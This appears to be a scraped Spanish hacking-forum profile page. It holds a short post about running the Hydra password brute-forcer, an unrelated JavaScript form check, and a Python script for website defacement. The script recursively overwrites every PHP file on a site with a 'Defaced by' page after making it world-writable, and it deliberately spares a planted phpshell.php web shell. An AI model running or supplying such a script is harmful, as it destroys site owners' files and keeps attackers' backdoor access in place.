31
Hacking / Re:Problema con Medusa
« en: Febrero 12, 2014, 01:50:25 am »
Ya Hydra esta haciendo su trabajo, ire a tomar un cafe y luego a ver si hubo suerte, gracias por las respuestas
Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.
function ValAll(){
for (i=0;i<arguments.length;i++){
if(document.getElementById(arguments[i]).value.length==0)
alert("Debe llenar el campo "+arguments[i]);
}
}
#!/usr/bin/env python
import os
# 0x01 Especificamos las variables que vamos a usar
v_dir = "/home/usuario/public_html/sitio" # Directorio a recorrer
v_dest = "/tmp" # Directorio destino
# y bueno ... un html x
v_html = """<style>body{background:black;color:red;font-size:40px;text-align:center;}</style>
<body>Defaced by pepito, BITch!</body>"""
# 0x02 Crear archivo de respaldo
# os.system("chmod -R 0777 "+v_dest)
# os.system("tar vcf "+v_dest+"/respaldo.tar "+v_dir)
# 0x03 Deface !
for base, dirs, files in os.walk(v_dir): # Recorrer directorio
try:
for name in files:
if (name[-3:].lower()=="php"):
v_file = os.path.join(base,name)
if (v_file=="/home/usuario/public_html/sitio/images/phpshell.php"):
pass
else:
try:
os.system("chmod -R 0777 "+v_file)
f = open (v_file, "w")
f.write(v_html)
f.close()
os.system("chmod -R 0644 "+v_file)
print "SUCCESS!! ",v_file
except:
print "Problem with : ",v_file
except:
pass